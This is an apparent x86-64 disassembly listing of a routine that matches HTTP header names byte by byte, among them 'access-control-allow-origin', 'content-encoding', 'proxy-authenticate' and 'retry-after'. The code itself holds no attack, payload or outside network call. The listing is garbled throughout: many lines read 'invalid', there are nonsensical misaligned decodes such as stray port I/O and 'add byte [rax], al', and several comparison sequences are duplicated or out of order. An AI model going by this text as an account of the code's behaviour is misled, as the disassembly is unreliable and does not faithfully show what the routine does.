cmp byte [rcx + 0xa], 0x69
jne case.0x14002ec2e.103
jns 0x14002eea7
imul ecx, dword [rdi], 0x1eb585
add byte [rax + 0xf6f0b79], al
jns 0x14002eeb2
outsd dx, dword [rsi]
jne case.0x14002ec2e.103
mov al, 0x10
mov dl, 0x6e
invalid
invalid
or al, 0
invalid
cmp byte [rcx + 0xb], 0x6f
jns 0x14002eeb2
outsd dx, dword [rsi]
jne case.0x14002ec2e.103
mov al, 0x10
mov dl, 0x6e
mov r8d, 0xc
add byte [rax], al
add cl, ch
hlt
jmp 0x14002e323
movzx edx, byte [rcx]
cmp edx, 0x70
je 0x14002fab1
cmp edx, 0x61
jne case.0x14002ec2e.103
cmp byte [rcx + 1], 0x63
jns 0x14002eed6
invalid
jne case.0x14002ec2e.103
invalid
cmp byte [rcx + 2], 0x63
jne case.0x14002ec2e.103
cmp byte [rcx + 3], 0x65
jne case.0x14002ec2e.103
add byte [rax], al
jns 0x14002eeec
jne case.0x14002ec2e.103
imul ebx, dword [rsi], 0x79800000
add al, 0x73
add byte [rax], al
cmp byte [rcx + 4], 0x73
jne case.0x14002ec2e.103
test dword [rdi + 0x1e], ebx
add byte [rax], al
cmp byte [rcx + 5], 0x73
jne case.0x14002ec2e.103
invalid
add byte [rax + 0xf2d0679], al
test dword [rbx + 0x1e], ecx
invalid
invalid
add byte [rax], al
cmp byte [rcx + 6], 0x2d
jne case.0x14002ec2e.103
invalid
invalid
add byte [rax], al
invalid
cmp byte [rcx + 7], 0x63
jne case.0x14002ec2e.103
jns 0x14002ef18
invalid
invalid
cmp byte [rcx + 8], 0x6f
jne case.0x14002ec2e.103
invalid
invalid
add byte [rax], al
invalid
cmp byte [rcx + 9], 0x6e
jne case.0x14002ec2e.103
cmp byte [rcx + 0xa], 0x74
jne case.0x14002ec2e.103
cmp byte [rcx + 0xb], 0x72
jns 0x14002ef44
jb 0x14002ef4a
jne case.0x14002ec2e.103
test dword [rcx], ebx
invalid
add byte [rax], al
cmp byte [rcx + 0xc], 0x6f
jne case.0x14002ec2e.103
cmp byte [rcx + 0xd], 0x6c
jne case.0x14002ec2e.103
cmp byte [rcx + 0xe], 0x2d
jne case.0x14002ec2e.103
sti
invalid
add byte [rax], al
sti
sbb eax, 0x79800000
punpcklwd mm1, dword [rdi]
jne case.0x14002ec2e.103
cmp byte [rcx + 0x10], 0x6c
invalid
invalid
cmp byte [rcx + 0xf], 0x61
jne case.0x14002ec2e.103
cmp byte [rcx + 0x10], 0x6c
jne case.0x14002ec2e.103
out 0x1d, eax
add byte [rax], al
out 0x1d, eax
add byte [rax], al
cmp byte [rcx + 0x11], 0x6c
jne case.0x14002ec2e.103
add byte [rax + 0xf6f1279], al
cmp byte [rcx + 0x12], 0x6f
adc ch, byte [rdi + 0xf]
jne case.0x14002ec2e.103
test ebx, edx
sbb eax, 0x79800000
adc esi, dword [rdi + 0xf]
invalid
test ecx, ecx
leave
jne case.0x14002ec2e.103
leave
sbb eax, 0x79800000
adc al, 0x2d
cmp byte [rcx + 0x14], 0x2d
jne case.0x14002ec2e.103
sbb eax, 0x79800000
cmp byte [rcx + 0x15], 0x6f
adc eax, 0xb5850f6f
sbb eax, 0x79800000
outsd dx, dword [rsi]
jne case.0x14002ec2e.103
cmp byte [rcx + 0x16], 0x72
jne case.0x14002ec2e.103
add byte [rax], al
invalid
add byte [rax], al
cmp byte [rcx + 0x17], 0x69
jne case.0x14002ec2e.103
add byte [rax], al
cmp byte [rcx + 0x18], 0x67
jne case.0x14002ec2e.103
jns 0x14002efd3
jne case.0x14002ec2e.103
cmp byte [rcx + 0x19], 0x69
jne case.0x14002ec2e.103
invalid
invalid
add byte [rax], al
jns 0x14002efde
imul ecx, dword [rdi], 0x1d8d85
add byte [rax + 0x416eb208], dh
mov dl, 0x6e
mov r8d, 0x1a
add byte [rax], al
lea ebx, [0x148b2efce]
add byte [rax], al
mov al, 8
mov dl, 0x6e
mov r8d, 0x1a
add byte [rax], al
add byte [rax], al
add byte [rax], al
add cl, ch
invalid
jmp 0x14002e323
dec dword [rdi]
mov dh, 0x11
movzx edx, byte [rcx]
cmp edx, 0x76
je 0x14002fc4b
or al, 0
invalid
cli
jbe 0x14002eff1
test byte [rsp + rcx], ah
or al, 0
add byte [rbx - 0x7bf09b06], al
cmp edx, 0x64
je 0x14002fc32
or al, 0
invalid
cli
je 0x14002fc32
or al, 0
invalid
or al, 0
add byte [rbx - 0x7af09e06], al
invalid
cmp edx, 0x61
jne case.0x14002ec2e.103
invalid
cli
invalid
add byte [rax + 0xf670179], al
cmp byte [rcx + 1], 0x67
jns 0x14002effd
add dword [rdi + 0xf], esp
jne case.0x14002ec2e.103
jne case.0x14002ec2e.103
test dword [rsi + 0x1d], edx
add byte [rax], al
mov al, 0xd
mov dl, 0x65
mov r8d, 2
or eax, 0xb84165b2
add al, byte [rax]
add byte [rax], al
jmp 0x14002e323
movzx edx, byte [rcx]
cmp edx, 0x6c
insb byte [rdi], dx
adc dword [rbx - 0x7bf09306], eax
insb byte [rdi], dx
je 0x14002fbba
pushfq
or eax, dword [rax]
add byte [rbx - 0x7af09606], al
cmp edx, 0x69
jne case.0x14002ec2e.103
cmp byte [rcx + 1], 0x66
jne case.0x14002ec2e.103
cmp byte [rcx + 2], 0x2d
jne case.0x14002ec2e.103
cmp edx, 0x69
jne case.0x14002ec2e.103
cmp byte [rcx + 1], 0x66
jne case.0x14002ec2e.103
cmp byte [rcx + 2], 0x2d
jne case.0x14002ec2e.103
sbb eax, 0xb60f0000
push rcx
add byte [rdi], cl
mov dh, 0x51
movzx edx, byte [rcx + 3]
cmp edx, 0x72
je case.0x14001a3ad.995
sbb eax, dword [rax]
invalid
add eax, dword [rbx - 0x7bf08d06]
pop rsi
sbb eax, dword [rax]
add byte [rbx - 0x7af09206], al
cmp edx, 0x6d
jne case.0x14002ec2e.103
cmp byte [rcx + 4], 0x61
cmp edx, 0x6d
jne case.0x14002ec2e.103
cmp byte [rcx + 4], 0x61
jne case.0x14002ec2e.103
cmp byte [rcx + 5], 0x74
jne case.0x14002ec2e.103
hlt
sbb al, 0
invalid
je 0x14002f06f
test esp, esi
sbb al, 0
add byte [rax + 0xf630679], al
jns 0x14002f06e
invalid
invalid
test edx, ebp
sbb al, 0
invalid
hlt
cmp byte [rcx + 6], 0x63
jne case.0x14002ec2e.103
add byte [rax], al
jns 0x14002f06e
invalid
add byte [rax], al
add byte [rax + 0x4168b227], dh
mov eax, 7
mov al, 0x27
mov dl, 0x68
mov r8d, 7
jmp 0x14002e323
movsd dword [rdi], dword [rsi]
invalid
invalid
inc dword [rax - 0x7af099c7]
rcr byte [rax + rax], cl
add byte [rax + 0xf6f0179], al
cmp byte [rcx], 0x66
jne case.0x14002ec2e.103
cmp byte [rcx + 1], 0x6f
jne case.0x14002ec2e.103
test eax, ecx
sbb al, 0
invalid
test eax, ecx
sbb al, 0
add byte [rax + 0xf720279], al
test dword [rsi - 0x7fffffe4], edi
mov esi, 0x8000001c
cmp byte [rcx + 2], 0x72
jne case.0x14002ec2e.103
invalid
sbb al, 0
invalid
mov esi, 0x8000001c
sbb al, 0
add byte [rax + 0xf770379], al
add byte [rax], al
cmp byte [rcx + 3], 0x77
jne case.0x14002ec2e.103
jns 0x14002f0a1
ja 0x14002f0af
test dword [rsp + rbx + 0x79800000], esi
mov ah, 0x1c
add byte [rax], al
cmp byte [rcx + 4], 0x61
jns 0x14002f0ac
add al, 0x61
invalid
jne case.0x14002ec2e.103
sbb al, 0
add byte [rax + 0xf720579], al
test dword [rax - 0x7fffffe4], esp
jns 0x14002f0c2
add byte [rax], al
cmp byte [rcx + 5], 0x72
jne case.0x14002ec2e.103
cmp byte [rcx + 6], 0x64
jne case.0x14002ec2e.103
invalid
xchg esi, eax
sbb al, 0
invalid
jne case.0x14002ec2e.103
test dword [rsi - 0x7fffffe4], edx
add byte [rax + 0xf650779], al
test dword [rsp + rbx + 0x24b00000], ecx
mov word [rax + rax], ds
invalid
mov al, 0x24
cmp byte [rcx + 7], 0x65
jne case.0x14002ec2e.103
mov word [rax + rax], ds
invalid
jns 0x14002f0cd
jne case.0x14002ec2e.103
mov word [rax + rax], ds
add byte [rax + 0x4164b224], dh
mov eax, 8
add byte [rax], al
invalid
mov al, 0x24
mov dl, 0x64
mov r8d, 8
add byte [rax], al
invalid
add byte [rax], al
add cl, ch
invalid
jmp 0x14002e323
movzx edx, byte [rcx]
cmp edx, 0x78
je 0x14002fcf7
cmp edx, 0x77
je 0x14002fc64
test byte [rbx + 0xb], dh
add byte [rax], al
cmp edx, 0x63
jne case.0x14002ec2e.103
cmp byte [rcx + 1], 0x6f
outsd dx, dword [rsi]
jne case.0x14002ec2e.103
cmp byte [rcx + 2], 0x6e
jne case.0x14002ec2e.103
test dword [rbx + 0x1c], ecx
add byte [rax], al
test dword [rbx + 0x1c], ecx
add byte [rax], al
cmp byte [rcx + 3], 0x74
jne case.0x14002ec2e.103
test dword [rcx + 0x1c], eax
add byte [rax], al
test dword [rcx + 0x1c], eax
add byte [rax], al
cmp byte [rcx + 4], 0x65
jne case.0x14002ec2e.103
cmp byte [rcx + 5], 0x6e
add eax, 0x2d850f6e
sbb al, 0
add byte [rax + 0xf740679], al
test dword [rbx], esp
sbb al, 0
add byte [rax + 0xf2d0779], al
test dword [rcx], ebx
sbb al, 0
add byte [rdi], cl
invalid
outsb dx, byte [rsi]
jne case.0x14002ec2e.103
cmp byte [rcx + 6], 0x74
jne case.0x14002ec2e.103
cmp byte [rcx + 7], 0x2d
jne case.0x14002ec2e.103
movzx edx, byte [rcx + 8]
cmp edx, 0x6c
je case.0x14002bbfd.71
add byte [rax], al
mov dh, 0x51
or byte [rbx - 0x7bf09306], al
hlt
add byte [rax], al
cmp edx, 0x65
jne case.0x14002ec2e.103
cmp byte [rcx + 9], 0x6e
jne case.0x14002ec2e.103
stc
sbb eax, dword [rax]
invalid
stc
sbb eax, dword [rax]
add byte [rax + 0xf630a79], al
test edi, ebp
cmp byte [rcx + 0xa], 0x63
jne case.0x14002ec2e.103
sbb eax, dword [rax]
invalid
sbb eax, dword [rax]
add byte [rax + 0xf6f0b79], al
test ebp, esp
cmp byte [rcx + 0xb], 0x6f
jne case.0x14002ec2e.103
sbb eax, dword [rax]
invalid
sbb eax, dword [rax]
add byte [rax + 0xf640c79], al
test ebx, ebx
sbb eax, dword [rax]
add byte [rax + 0xf690d79], al
cmp byte [rcx + 0xc], 0x64
jne case.0x14002ec2e.103
cmp byte [rcx + 0xd], 0x69
jne case.0x14002ec2e.103
test ecx, edx
sbb eax, dword [rax]
invalid
test ecx, edx
sbb eax, dword [rax]
add byte [rax + 0xf6e0e79], al
jns 0x14002f199
outsb dx, byte [rsi]
invalid
cmp byte [rcx + 0xe], 0x6e
jns 0x14002f199
outsb dx, byte [rsi]
jne case.0x14002ec2e.103
test edi, eax
sbb eax, dword [rax]
add byte [rax + 0x4167b216], dh
mov eax, 0xf
mov al, 0x16
mov dl, 0x67
mov r8d, 0xf
add byte [rax], al
add cl, ch
invalid
jmp 0x14002e323
invalid
movzx edx, byte [rcx]
add edx, 0xffffff9d
cmp edx, 0x11
ja case.0x14002ec2e.103
lea r8, [0x140176fdc]
movsxd rdx, dword [r8 + rdx*4]
add rdx, r8
ret 0xe2ff
and eax, 0x4900147e
invalid
ret 0xe2ff
cmp byte [rcx + 1], 0x64
jns 0x14002f1c4
jne case.0x14002ec2e.103
jne case.0x14002ec2e.103
cmp byte [rcx + 2], 0x6e
jne case.0x14002ec2e.103
invalid
test dword [rbx], ebx
add byte [rax], al
test dword [rbp - 0x7fffffe5], eax
jns 0x14002f1da
cmp byte [rcx + 3], 0x2d
jne case.0x14002ec2e.103
test dword [rbx + 0x1b], edi
add byte [rax], al
sub eax, 0x1b7b850f
test dword [rbx + 0x1b], edi
jnp 0x14002f1f7
add byte [rax], al
cmp byte [rcx + 4], 0x63
jne case.0x14002ec2e.103
cmp byte [rcx + 5], 0x61
jne case.0x14002ec2e.103
cmp byte [rcx + 6], 0x63
jne case.0x14002ec2e.103
jns 0x14002f1fb
invalid
test dword [rbp + 0x1b], ebx
add byte [rax], al
add byte [rax + 0xf680779], al
test dword [rbx + 0x1b], edx
sbb eax, dword [rax]
invalid
cmp byte [rcx + 7], 0x68
jne case.0x14002ec2e.103
sbb eax, dword [rax]
invalid
sbb eax, dword [rax]
add byte [rax + 0xf650879], al
cmp byte [rcx + 8], 0x65
jne case.0x14002ec2e.103
invalid
or byte [rbp + 0xf], ah
jne case.0x14002ec2e.103
test dword [rcx + 0x1b], ecx
add byte [rax], al
invalid
add byte [rax + 0xf2d0979], al
test dword [rdi], edi
sbb eax, dword [rax]
add byte [rax + 0xf630a79], al
test dword [0xc002f240], esi
sbb eax, dword [rax]
invalid
invalid
cmp byte [rcx + 9], 0x2d
jne case.0x14002ec2e.103
sub eax, 0x1b3f850f
add byte [rax], al
cmp byte [rcx + 0xa], 0x63
jne case.0x14002ec2e.103
sbb eax, dword [rax]
invalid
sbb eax, dword [rax]
add byte [rax + 0xf6f0b79], al
jns 0x14002f232
outsd dx, dword [rsi]
invalid
test dword [rbx], ebp
cmp byte [rcx + 0xb], 0x6f
jns 0x14002f232
outsd dx, dword [rsi]
jne case.0x14002ec2e.103
sbb eax, dword [rax]
add byte [rax + 0xf6e0c79], al
jns 0x14002f23d
outsb dx, byte [rsi]
jne case.0x14002ec2e.103
cmp byte [rcx + 0xd], 0x74
invalid
cmp byte [rcx + 0xc], 0x6e
jns 0x14002f23d
outsb dx, byte [rsi]
jne case.0x14002ec2e.103
cmp byte [rcx + 0xd], 0x74
jne case.0x14002ec2e.103
test dword [rdi], edx
sbb eax, dword [rax]
add byte [rax + 0xf720e79], al
cmp byte [rcx + 0xe], 0x72
jne case.0x14002ec2e.103
invalid
invalid
sbb eax, dword [rax]
invalid
test dword [0xc002f268], ecx
add byte [rax + 0xf6f0f79], al
test dword [rbx], eax
sbb eax, dword [rax]
add byte [rax + 0x416cb213], dh
insb byte [rdi], dx
mov r8d, 0x10
cmp byte [rcx + 0xf], 0x6f
jns 0x14002f25e
outsd dx, dword [rsi]
jne case.0x14002ec2e.103
mov al, 0x13
mov dl, 0x6c
insb byte [rdi], dx
insb byte [rdi], dx
mov r8d, 0x10
add byte [rax], al
jmp 0x14002e323
invalid
movzx edx, byte [rcx]
cmp edx, 0x72
je 0x14002fc05
adc dword [rbx - 0x7bf08d06], eax
xchg esp, eax
or dword [rax], eax
add byte [rbx - 0x7af09e06], al
fistp word [rdx]
add byte [rax], al
cmp edx, 0x61
jne case.0x14002ec2e.103
cmp byte [rcx + 1], 0x6c
jns 0x14002f27e
insb byte [rdi], dx
jne case.0x14002ec2e.103
cmp byte [rcx + 2], 0x6c
jne case.0x14002ec2e.103
cmp byte [rcx + 3], 0x6f
jns 0x14002f294
add ebp, dword [rdi + 0xf]
test ecx, eax
sbb al, byte [rax]
outsd dx, dword [rsi]
jne case.0x14002ec2e.103
rcr dword [rdx], 0
add byte [rax + 0x4177b20e], dh
mov al, 0xe
mov dl, 0x77
mov r8d, 4
mov eax, 4
mov eax, 4
jmp 0x14002e323
movzx edx, byte [rcx]
add edx, 0xffffff9f
invalid
lahf
ret 0x839f
lahf
cmp edx, 0x12
ja case.0x14002ec2e.103
lea r8, [0x140177110]
movsxd rdx, dword [r8 + rdx*4]
nop
push rbx
jle 0x14002f2d0
add byte [rcx + 0x63], cl
adc al, 0x90
nop
nop
add rdx, r8
jmp rdx
cmp byte [rcx + 1], 0x63
jns 0x14002f2ca
add dword [rbx + 0xf], esp
invalid
jne case.0x14002ec2e.103
test dword [rcx - 0x7fffffe6], ecx
jns 0x14002f2d5
cmp byte [rcx + 2], 0x63
jne case.0x14002ec2e.103
invalid
test dword [rdi + 0x1a], edi
add byte [rax], al
cmp byte [rcx + 3], 0x65
jne case.0x14002ec2e.103
invalid
add byte [rax + 0xf700479], al
cmp byte [rcx + 4], 0x70
jne case.0x14002ec2e.103
jns 0x14002f2eb
jo case.0x14002a5ee.78
test dword [rbx + 0x1a], ebp
add byte [rax], al
sbb al, byte [rax]
add byte [rdx + 0x5b84174], dh
add byte [rax], al
add byte [rcx], dh
shr cl, 0x26
invalid
invalid
invalid
mov dl, 0x74
mov r8d, 5
xor eax, eax
jmp 0x14002e323
cmp byte [rcx], 0x72
jne case.0x14002ec2e.103
cmp byte [rcx + 1], 0x65
jne case.0x14002ec2e.103
invalid
add byte [rax + 0xf740279], al
test dword [rdi], edi
sbb al, byte [rax]
add byte [rax + 0xf720379], al
test dword [0xc002f33f], esi
jns case.0x14002bbfd.25
cmp byte [rcx + 2], 0x74
jne case.0x14002ec2e.103
cmp byte [rcx + 3], 0x72
jne case.0x14002ec2e.103
cmp byte [rcx + 4], 0x79
jne case.0x14002ec2e.103
sbb al, byte [rax]
invalid
jns case.0x1400b3705.307
test dword [rbx], ebp
sbb al, byte [rax]
add byte [rax + 0xf2d0579], al
test dword [rcx], esp
sbb al, byte [rax]
add byte [rax + 0xf610679], al
cmp byte [rcx + 6], 0x61
jne case.0x14002ec2e.103
cmp byte [rcx + 7], 0x66
jne case.0x14002ec2e.103
or eax, 0x8000001a
cmp byte [rcx + 5], 0x2d
jne case.0x14002ec2e.103
cmp byte [rcx + 6], 0x61
jne case.0x14002ec2e.103
cmp byte [rcx + 7], 0x66
jne case.0x14002ec2e.103
invalid
sbb al, byte [rax]
invalid
or eax, 0x8000001a
cmp byte [rcx + 8], 0x74
jne case.0x14002ec2e.103
test dword [rbx], eax
sbb al, byte [rax]
invalid
jns case.0x14002d4f5.14
je 0x14002f360
test dword [rbx], eax
sbb al, byte [rax]
add byte [rax + 0xf650979], al
jns 0x14002f362
invalid
invalid
test ecx, edi
sbb dword [rax], eax
cmp byte [rcx + 9], 0x65
jne case.0x14002ec2e.103
invalid
jns 0x14002f362
jne case.0x14002ec2e.103
add byte [rax + 0x4172b23a], dh
mov eax, 0xa
mov al, 0x3a
mov dl, 0x72
mov r8d, 0xa
jmp 0x14002e323
movzx edx, byte [rcx]
cmp edx, 0x75
je 0x14002fea2
cmp edx, 0x73
je 0x14002fd8a
cmp edx, 0x63
jne case.0x14002ec2e.103
invalid
add byte [rax + 0xf6f0179], al
test edx, eax
sbb dword [rax], eax
add byte [rax + 0xf6e0279], al
cmp byte [rcx + 2], 0x6e
jne case.0x14002ec2e.103
invalid
invalid
jns 0x14002f3a7
cmp byte [rcx + 1], 0x6f
jne case.0x14002ec2e.103
cmp byte [rcx + 2], 0x6e
jne case.0x14002ec2e.103
invalid
add byte [rax + 0xf6e0379], al
test dword [rsi - 0x7fffffe7], ebp
sbb dword [rax], eax
invalid
invalid
jns 0x14002f3b2
cmp byte [rcx + 3], 0x6e
outsb dx, byte [rsi]
jne case.0x14002ec2e.103
scasb al, byte [rdi]
sbb dword [rax], eax
add byte [rax + 0xf650479], al
test dword [rcx + rbx + 0x79800000], esp
add byte [rax], al
cmp byte [rcx + 5], 0x63
invalid
invalid
invalid
cmp byte [rcx + 4], 0x65
jne case.0x14002ec2e.103
add byte [rax], al
jne case.0x14002ec2e.103
sbb dword [rax], eax
add byte [rax + 0xf630579], al
test dword [rdx - 0x7fffffe7], ebx
sbb dword [rax], eax
invalid
invalid
jns 0x14002f3c8
add byte [rax], al
cmp byte [rcx + 5], 0x63
jne case.0x14002ec2e.103
sbb dword [rax], eax
invalid
sbb dword [rax], eax
add byte [rax + 0xf740679], al
cmp byte [rcx + 6], 0x74
jne case.0x14002ec2e.103
add byte [rax], al
je 0x14002f3d3
test dword [rax - 0x7fffffe7], edx
jns 0x14002f3d3
add byte [rax], al
add byte [rax + 0xf690779], al
test dword [rsi - 0x7fffffe7], eax
cmp byte [rcx + 7], 0x69
jne case.0x14002ec2e.103
imul ecx, dword [rdi], 0x198685
add byte [rax + 0xf6f0879], al
jns 0x14002f3de
outsd dx, dword [rsi]
invalid
cmp byte [rcx + 8], 0x6f
jns 0x14002f3de
outsd dx, dword [rsi]
jne case.0x14002ec2e.103
test dword [rcx + rbx], edi
sbb dword [rax], eax
add byte [rax + 0x416eb214], dh
mov eax, 9
or dword [rax], eax
add byte [rax], al
mov al, 0x14
mov dl, 0x6e
adc al, 0xb2
outsb dx, byte [rsi]
mov r8d, 9
or dword [rax], eax
add byte [rax], al
jmp 0x14002e323
movzx edx, byte [rcx]
cmp edx, 0x70
je 0x14002ff01
cmp edx, 0x69
je 0x14002fde9
cmp edx, 0x63
jne case.0x14002ec2e.103
cmp byte [rcx + 1], 0x6f
jne case.0x14002ec2e.103
cmp byte [rcx + 2], 0x6e
outsb dx, byte [rsi]
jne case.0x14002ec2e.103
cmp byte [rcx + 3], 0x74
jne case.0x14002ec2e.103
cmp byte [rcx + 4], 0x65
jne case.0x14002ec2e.103
jns 0x14002f43a
outsb dx, byte [rsi]
jne case.0x14002ec2e.103
add byte [rax], al
cmp byte [rcx + 6], 0x74
jne case.0x14002ec2e.103
cmp byte [rcx + 7], 0x2d
jne case.0x14002ec2e.103
invalid
add byte [rax + 0xf640879], al
test edi, edi
sbb byte [rax], al
add byte [rax + 0xf690979], al
jns 0x14002f466
imul ecx, dword [rdi], 0x18f585
cmp byte [rcx + 8], 0x64
jne case.0x14002ec2e.103
cmp byte [rcx + 9], 0x69
jne case.0x14002ec2e.103
jns 0x14002f466
imul ecx, dword [rdi], 0x18f585
add byte [rax + 0xf730a79], al
cmp byte [rcx + 0xa], 0x73
jne case.0x14002ec2e.103
sbb byte [rax], al
invalid
or dh, byte [rbx + 0xf]
test ebx, ebp
sbb byte [rax], al
add byte [rax + 0xf700b79], al
test ecx, esp
sbb byte [rax], al
cmp byte [rcx + 0xb], 0x70
jne case.0x14002ec2e.103
invalid
add byte [rax + 0xf6f0c79], al
test edi, edx
cmp byte [rcx + 0xc], 0x6f
jne case.0x14002ec2e.103
sbb byte [rax], al
invalid
sbb byte [rax], al
add byte [rax + 0xf730d79], al
test ebp, ecx
sbb byte [rax], al
add byte [rax + 0xf690e79], al
test ebx, eax
sbb byte [rax], al
add byte [rax + 0xf740f79], al
cmp byte [rcx + 0xd], 0x73
jne case.0x14002ec2e.103
cmp byte [rcx + 0xe], 0x69
jne case.0x14002ec2e.103
cmp byte [rcx + 0xf], 0x74
jne case.0x14002ec2e.103
invalid
invalid
sbb byte [rax], al
invalid
test dword [rcx - 0x7fffffe8], edi
jns 0x14002f4b3
cmp byte [rcx + 0x10], 0x69
jne case.0x14002ec2e.103
imul ecx, dword [rdi], 0x18af85
add byte [rax + 0xf6f1179], al
test dword [rbp - 0x4fffffe8], esp
adc eax, 0xaf2e9
add byte [rax - 0x7af08fc7], al
jo 0x14002f4ce
test dword [rbp - 0x7fffffe8], edx
jns 0x14002f4c8
jb 0x14002f4d8
cmp byte [rcx + 0x11], 0x6f
jne case.0x14002ec2e.103
add byte [rax + 0xaf2e915], dh
add byte [rax], al
mov al, 0x15
jmp 0x14002ffad
cmp byte [rcx], 0x70
jne case.0x14002ec2e.103
jo 0x14002f4ce
test dword [rbp - 0x7fffffe8], edx
jns 0x14002f4c8
cmp byte [rcx + 1], 0x72
jb 0x14002f4d8
jne case.0x14002ec2e.103
test dword [rbx - 0x7fffffe8], ecx
cmp byte [rcx + 2], 0x6f
jns 0x14002f4d3
add ch, byte [rdi + 0xf]
outsd dx, dword [rsi]
jne case.0x14002ec2e.103
test dword [rcx - 0x7fffffe8], eax
jns 0x14002f4de
cmp byte [rcx + 3], 0x78
jne case.0x14002ec2e.103
js case.0x14002ad69.198
test dword [rdi + 0x18], esi
ja 0x14002f4f8
add byte [rax], al
cmp byte [rcx + 4], 0x79
jne case.0x14002ec2e.103
cmp byte [rcx + 5], 0x2d
jne case.0x14002ec2e.103
cmp byte [rcx + 6], 0x61
jne case.0x14002ec2e.103
invalid
cmp byte [rcx + 7], 0x75
jne case.0x14002ec2e.103
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 8], 0x74
jne case.0x14002ec2e.103
invalid
or byte [rdi + rcx - 0x7b], dh
sbb byte [r8], r8b
add byte [rax + 0xf680979], al
test dword [rbx], edi
sbb byte [rax], al
add byte [rax + 0xf650a79], al
test dword [rcx], esi
sbb byte [rax], al
add byte [rax + 0xf6e0b79], al
cmp byte [rcx + 0xb], 0x6e
invalid
test dword [rdi], esp
cmp byte [rcx + 9], 0x68
jne case.0x14002ec2e.103
cmp byte [rcx + 0xa], 0x65
jne case.0x14002ec2e.103
cmp byte [rcx + 0xb], 0x6e
jne case.0x14002ec2e.103
sbb byte [rax], al
invalid
sbb byte [rax], al
add byte [rax + 0xf740c79], al
test dword [0xc002f555], ebx
jns 0x14002f54c
cmp byte [rcx + 0xc], 0x74
jne case.0x14002ec2e.103
cmp byte [rcx + 0xd], 0x69
jne case.0x14002ec2e.103
add byte [rax], al
imul ecx, dword [rdi], 0x181385
add byte [rax + 0xf630e79], al
cmp byte [rcx + 0xe], 0x63
jne case.0x14002ec2e.103
cmp byte [rcx + 0xf], 0x61
invalid
test edi, edi
invalid
add byte [rax], al
cmp byte [rcx + 0xe], 0x63
jne case.0x14002ec2e.103
or dword [rax], ebx
add byte [rax], al
cmp byte [rcx + 0xf], 0x61
jne case.0x14002ec2e.103
cmp byte [rcx + 0x10], 0x74
jne case.0x14002ec2e.103
cmc
invalid
add byte [rax], al
jns 0x14002f56d
je 0x14002f56e
test ebp, esi
cmc
invalid
mov al, 0x32
mov dl, 0x65
mov r8d, 0x11
add cl, ch
mov al, 0xed
invalid
jmp 0x14002e323
movzx edx, byte [rcx]
mov dh, 0x11
cmp edx, 0x78
je 0x140030089
cmp edx, 0x73
je case.0x140029841.202
cmp edx, 0x61
jne case.0x14002ec2e.103
invalid
add byte [rax + 0xf630179], al
test dword [rsi - 0x7fffffe9], edi
jns 0x14002f5a0
cmp byte [rcx + 1], 0x63
jne case.0x14002ec2e.103
cmp byte [rcx + 2], 0x63
jne case.0x14002ec2e.103
invalid
test dword [rdi + rdx + 0x79800000], esi
add esp, dword [rbp + 0xf]
test dword [rdx - 0x7fffffe9], ebp
jns 0x14002f5b6
cmp byte [rcx + 3], 0x65
jne case.0x14002ec2e.103
cmp byte [rcx + 4], 0x73
jne case.0x14002ec2e.103
jae 0x14002f5c3
test dword [rax - 0x7fffffe9], esp
jns 0x14002f5c1
invalid
jae 0x14002f5cd
test dword [rsi - 0x7fffffe9], edx
add byte [rax], al
cmp byte [rcx + 6], 0x2d
jne case.0x14002ec2e.103
jns 0x14002f5cc
sub eax, 0x178c850f
add byte [rax], al
add byte [rax + 0xf630779], al
test dword [rdx - 0x7fffffe9], eax
jns 0x14002f5e2
cmp byte [rcx + 7], 0x63
jne case.0x14002ec2e.103
cmp byte [rcx + 8], 0x6f
outsd dx, dword [rsi]
jne case.0x14002ec2e.103
cmp byte [rcx + 9], 0x6e
jns 0x14002f5ed
outsb dx, byte [rsi]
jne case.0x14002ec2e.103
cmp byte [rcx + 0xa], 0x74
jne case.0x14002ec2e.103
or dh, byte [rdi + rcx - 0x7b]
invalid
cmp byte [rcx + 0xb], 0x72
jne case.0x14002ec2e.103
cmp byte [rcx + 0xc], 0x6f
jne case.0x14002ec2e.103
add byte [rax], al
add byte [rax], al
add byte [rax + 0xf6c0d79], al
test dword [rsi + 0x17], eax
add byte [rax], al
cmp byte [rcx + 0xd], 0x6c
jne case.0x14002ec2e.103
cmp byte [rcx + 0xe], 0x2d
jne case.0x14002ec2e.103
cmp byte [rcx + 0xf], 0x6d
jne case.0x14002ec2e.103
invalid
add byte [rax], al
invalid
cmp byte [rcx + 0x10], 0x61
jne case.0x14002ec2e.103
cmp byte [rcx + 0x11], 0x78
jne case.0x14002ec2e.103
cmp byte [rcx + 0x12], 0x2d
jne case.0x14002ec2e.103
jns case.0x14002d4f5.34
sub eax, 0x1714850f
add byte [rax], al
cmp byte [rcx + 0x13], 0x61
jne case.0x14002ec2e.103
jns 0x14002f65b
invalid
cmp byte [rcx + 0x14], 0x67
jne case.0x14002ec2e.103
invalid
jns 0x14002f666
jne case.0x14002ec2e.103
add byte [rax + 0x4165b20a], dh
mov eax, 0x15
mov al, 0xa
mov dl, 0x65
mov r8d, 0x15
jmp 0x14002e323
invalid
cmp byte [rcx], 0x61
jne case.0x14002ec2e.103
cmp byte [rcx + 1], 0x63
jne case.0x14002ec2e.103
invalid
cmp byte [rcx + 2], 0x63
jne case.0x14002ec2e.103
invalid
add byte [rax + 0xf650379], al
test edx, ecx
invalid
cmp byte [rcx + 3], 0x65
jne case.0x14002ec2e.103
cmp byte [rcx + 4], 0x73
jne case.0x14002ec2e.103
jns 0x14002f696
jae 0x14002f6a3
test eax, eax
invalid
cmp byte [rcx + 5], 0x73
jne case.0x14002ec2e.103
cmp byte [rcx + 6], 0x2d
jne case.0x14002ec2e.103
jns 0x14002f6ac
sub eax, 0x16ac850f
add byte [rax], al
cmp byte [rcx + 7], 0x63
jne case.0x14002ec2e.103
add byte [rax + 0xf630779], al
test dword [rdx - 0x7fffffea], esp
jns 0x14002f6c2
cmp byte [rcx + 8], 0x6f
outsd dx, dword [rsi]
jne case.0x14002ec2e.103
add byte [rax + 0xf6e0979], al
test dword [rsi - 0x7fffffea], ecx
jns 0x14002f6d8
cmp byte [rcx + 9], 0x6e
jns 0x14002f6cd
outsb dx, byte [rsi]
jne case.0x14002ec2e.103
cmp byte [rcx + 0xa], 0x74
jne case.0x14002ec2e.103
or dh, byte [rdi + rcx - 0x7b]
test byte [rsi], dl
add byte [rax], al
je 0x14002f6df
test dword [rsi + rdx + 0x79800000], eax
or esi, dword [rdx + 0xf]
cmp byte [rcx + 0xb], 0x72
jne case.0x14002ec2e.103
jb 0x14002f6e9
test dword [rdx + 0x16], edi
add byte [rax], al
